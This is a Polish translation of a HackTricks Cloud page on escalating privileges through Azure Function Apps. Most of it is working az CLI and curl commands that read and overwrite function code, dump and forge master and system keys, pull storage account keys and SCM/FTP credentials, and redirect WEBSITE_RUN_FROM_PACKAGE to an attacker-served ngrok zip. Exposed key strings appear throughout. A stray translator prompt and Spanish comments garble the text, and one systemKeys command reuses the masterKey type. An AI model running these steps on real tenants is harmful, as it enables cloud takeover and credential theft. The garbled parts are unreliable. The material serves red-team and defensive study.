Az - Functions App Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Function Apps
Sprawdź następującą stronę, aby uzyskać więcej informacji:
Bucket Read/Write
Mając uprawnienia do odczytu kontenerów wewnątrz Storage Account, który przechowuje dane funkcji, można znaleźć różne kontenery (własne lub o predefiniowanych nazwach), które mogą zawierać kod wykonywany przez funkcję.
Gdy znajdziesz miejsce, gdzie znajduje się kod funkcji, jeśli masz nad nim uprawnienia do zapisu, możesz sprawić, że funkcja wykona dowolny kod i eskalować uprawnienia do managed identities przypisanych do funkcji.
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Kod funkcji jest zwykle przechowywany w udziale plików. Mając wystarczający dostęp można zmodyfikować plik z kodem i sprawić, by funkcja załadowała dowolny kod, co pozwala na eskalację uprawnień do managed identities przypisanych do Function.
This deployment method usually configures the settings WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE which you can get from
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Te konfiguracje będą zawierać Storage Account Key, którego Function może użyć, aby uzyskać dostęp do kodu.
Caution
Przy wystarczających uprawnieniach do połączenia z File Share i zmodyfikowania uruchamianego skryptu możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień.
Poniższy przykład używa macOS do połączenia z file share, ale zaleca się również sprawdzenie poniższej strony, aby uzyskać więcej informacji o file shares:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
Często również można znaleźć zip releases w folderze function-releases w kontenerze Storage Account, którego używa function app — zwykle w kontenerze nazywanym function-releases.
Zwykle ta metoda wdrażania ustawi konfigurację WEBSITE_RUN_FROM_PACKAGE w:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
This config will usually contain a SAS URL to download the code from the Storage Account.
Caution
Przy wystarczających uprawnieniach, aby połączyć się z blob containerem, który zawiera kod w zipie, możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień.
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
Podobnie jak w poprzednim przypadku, jeśli deployment jest wykonywany za pomocą Github Actions, można znaleźć folder github-actions-deploy w Storage Account zawierający zip z kodem oraz SAS URL do tego zipa w ustawieniu WEBSITE_RUN_FROM_PACKAGE.
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Mając uprawnienia do odczytu kontenerów w Storage Account przechowującym dane funkcji, można znaleźć kontener scm-releases. Znajduje się tam najnowsze wydanie w formacie pliku Squashfs filesystem file format i w związku z tym możliwe jest odczytanie kodu funkcji:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Możliwe jest także znalezienie master and functions keys przechowywanych w storage account w kontenerze azure-webjobs-secrets wewnątrz folderu <app-name> w plikach JSON, które tam znajdziesz.
Caution
Przy wystarczających uprawnieniach do połączenia się z blob containerem, który zawiera kod w pliku z rozszerzeniem zip (który w rzeczywistości jest
squashfs), możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
To uprawnienie pozwala wylistować function, master i system keys, ale nie host key, dla wskazanej funkcji za pomocą:
az functionapp keys list --resource-group <res_group> --name <func-name>
Dysponując master key, można również uzyskać kod źródłowy pod adresem URL takim jak:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
Aby zmienić kod, który jest wykonywany w funkcji na:
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
To uprawnienie umożliwia pobranie domyślnego klucza określonej funkcji za pomocą:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Wywołaj funkcję, używając uzyskanego klucza domyślnego:
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
Microsoft.Web/sites/host/functionKeys/write
To uprawnienie pozwala utworzyć/zaktualizować klucz funkcji dla określonej funkcji za pomocą:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
To uprawnienie umożliwia utworzenie/aktualizację master key dla wskazanej funkcji za pomocą:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
Pamiętaj, że przy użyciu tego klucza możesz także uzyskać dostęp do kodu źródłowego i go modyfikować, jak wyjaśniono wcześniej!
Microsoft.Web/sites/host/systemKeys/write
To uprawnienie pozwala na tworzenie/aktualizację systemowego klucza funkcji dla określonej funkcji za pomocą:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Brakuje klucza — proszę wklej klucz po “Use the key:” lub podaj zawartość pliku src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md do przetłumaczenia.
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
Microsoft.Web/sites/config/list/action
To uprawnienie pozwala pobrać ustawienia funkcji. W tych konfiguracjach można znaleźć domyślne wartości AzureWebJobsStorage lub WEBSITE_CONTENTAZUREFILECONNECTIONSTRING, które zawierają klucz konta umożliwiający dostęp do blob storage funkcji z pełnymi uprawnieniami.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Co więcej, to uprawnienie pozwala również uzyskać SCM username and password (jeśli włączone) za pomocą:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
Te uprawnienia pozwalają na wylistowanie wartości konfiguracji funkcji, jak widzieliśmy wcześniej, oraz modyfikowanie tych wartości. To przydatne, ponieważ te ustawienia wskazują, skąd pochodzi kod wykonywany w funkcji.
Daje to możliwość ustawienia wartości ustawienia WEBSITE_RUN_FROM_PACKAGE wskazującej na URL pliku zip zawierającego nowy kod do wykonania wewnątrz aplikacji webowej:
- Zacznij od pobrania aktualnej konfiguracji
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Utwórz kod, który chcesz, aby funkcja uruchamiała, i udostępnij go publicznie
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Zmodyfikuj funkcję, zachowaj poprzednie parametry i dodaj na końcu konfigurację
WEBSITE_RUN_FROM_PACKAGE, wskazującą URL do zip zawierającego kod.
Poniżej znajduje się przykład moich własnych ustawień — będziesz musiał zmienić wartości na swoje; zwróć uwagę na końcu na wartość "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip" — to miejsce, gdzie hostowałem aplikację.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
Dzięki temu uprawnieniu można zmodyfikować kod aplikacji przez konsolę web (lub przez następujący endpoint API):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
To uprawnienie umożliwia wylistowanie wszystkich profili publikowania, które w zasadzie zawierają basic auth credentials:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Inną opcją byłoby ustawienie własnych creds i użycie ich za pomocą:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Jeśli poświadczenia są REDACTED
Jeśli widzisz, że te poświadczenia są REDACTED, to dlatego, że musisz włączyć opcję SCM basic authentication i do tego potrzebujesz drugiego uprawnienia (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Metoda SCM
Następnie możesz uzyskać dostęp przy użyciu tych basic auth credentials to the SCM URL swojej function app i uzyskać wartości zmiennych środowiskowych:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Zauważ, że SCM username jest zwykle znakiem “$”, po którym następuje nazwa aplikacji, więc: $<app-name>.
Możesz również uzyskać dostęp do strony internetowej pod adresem https://<app-name>.scm.azurewebsites.net/BasicAuth
Wartości ustawień zawierają AccountKey storage account przechowującego dane function app, co pozwala przejąć kontrolę nad tym storage account.
- Metoda FTP
Połącz się z serwerem FTP używając:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Należy zauważyć, że FTP username jest zwykle w formacie <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
To uprawnienie pozwala odczytać kod źródłowy aplikacji przez VFS:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
Z tym uprawnieniem możliwe jest get the admin token, który może być później użyty do pobrania master key i tym samym uzyskania dostępu oraz modyfikacji kodu funkcji.
Jednak w moich ostatnich sprawdzeniach nie zwrócono żadnego tokena, więc może być to wyłączone lub już nie działać — oto jak byś to zrobił:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
To uprawnienie pozwala włączyć funkcje, które mogą być wyłączone (lub je wyłączyć).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Można też sprawdzić, czy funkcja jest włączona lub wyłączona pod następującym adresem URL (używając uprawnienia w nawiasie):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
Dzięki tym uprawnieniom możliwe jest zmodyfikowanie kontenera uruchamianego przez function app skonfigurowaną do uruchamiania kontenera. Pozwoliłoby to atakującemu przesłać złośliwy azure function container app do docker hub (na przykład) i doprowadzić do jego wykonania przez function app.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
Dzięki tym uprawnieniom możliwe jest przypisanie nowej user managed identity do funkcji. Jeśli funkcja zostanie przejęta, pozwoli to na eskalację uprawnień do dowolnej user managed identity.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Debugowanie zdalne
Możliwe jest także połączenie się w celu debugowania działającej funkcji Azure, jak explained in the docs. Jednak domyślnie Azure wyłączy tę opcję po 2 dniach, na wypadek gdy programista zapomni i pozostawi podatną konfigurację.
Można sprawdzić, czy Function ma włączone debugowanie za pomocą:
az functionapp show --name <app-name> --resource-group <res-group>
Mając uprawnienie Microsoft.Web/sites/config/write, możliwe jest również ustawienie funkcji w trybie debugowania (poniższe polecenie wymaga również uprawnień Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read oraz Microsoft.Web/sites/Read).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Zmiana repozytorium Github
Próbowałem zmienić repozytorium Github, z którego odbywa się wdrażanie, wykonując następujące polecenia, ale nawet jeśli się zmieniło, the new code was not loaded (prawdopodobnie dlatego, że oczekuje, iż Github Action zaktualizuje kod).
Co więcej, managed identity federated credential wasn’t updated, aby zezwolić nowemu repozytorium, więc wygląda na to, że to nie jest zbyt przydatne.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

